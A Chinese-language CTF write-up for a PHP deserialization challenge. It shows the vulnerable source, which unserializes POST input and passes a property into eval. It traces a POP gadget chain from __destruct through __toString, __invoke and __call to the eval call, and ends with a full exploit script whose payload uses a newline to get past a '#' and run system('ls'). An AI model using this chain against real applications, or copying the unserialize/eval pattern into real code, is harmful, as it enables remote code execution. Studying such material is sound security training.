题目如下:
<?php class crow { public $v1; public $v2; function eval() { echo new $this->v1($this->v2); } public function __invoke() { $this->v1->world(); } } class fin { public $f1; public function __destruct() { echo $this->f1 . '114514'; } public function run() { ($this->f1)(); } public function __call($a, $b) { echo $this->f1->get_flag(); } } class what { public $a; public function __toString() { $this->a->run(); return 'hello'; } } class mix { public $m1; public function run() { ($this->m1)(); } public function get_flag() { eval('#' . $this->m1); } } if (isset($_POST['cmd'])) { unserialize($_POST['cmd']); } else { highlight_file(__FILE__); }
要创建很多个类,这里用类名描述,后面跟字母好区分。
首先,$fin1的__destruct()会自动执行:
public function __destruct() { echo $this->f1 . '114514'; }
这里是输出f1,所以让f1等于$what,触发:
public function __toString() { $this->a->run(); return 'hello'; }
有两个run函数,我选择触发mix::run,让a等于$mix1,触发:
public function run() { ($this->m1)(); }
让m1等于$crow1,触发:
public function __invoke() { $this->v1->world(); }
让$crow1中的v1等于$fin2,触发:
public function __call($a, $b) { echo $this->f1->get_flag(); }
让$fin2中的f1等于$mix2,触发:
public function get_flag() { eval('#' . $this->m1); }
让$mix2中的m1等于”\n system(‘ls’);”即可绕过井号,exp如下:
<?php class crow { public $v1; public $v2; function eval() { echo new $this->v1($this->v2); } public function __invoke() { $this->v1->world(); } } class fin { public $f1; public function __destruct() { echo $this->f1 . '114514'; } public function run() { ($this->f1)(); } public function __call($a, $b) { echo $this->f1->get_flag(); } } class what { public $a; public function __toString() { $this->a->run(); return 'hello'; } } class mix { public $m1; public function run() { ($this->m1)(); } public function get_flag() { eval('#' . $this->m1); } } $fin1 = new fin(); $fin2 = new fin(); $what1 = new what(); $mix1 = new mix(); $mix2 = new mix(); $crow1 = new crow(); $crow1 -> v1 = $fin2; $fin2 -> f1 = $mix2; $mix2 -> m1 = "\n system('ls');"; $fin1 -> f1 = $what1; $what1 -> a = $mix1; $mix1 -> m1 = $crow1; echo urlencode(serialize($fin1));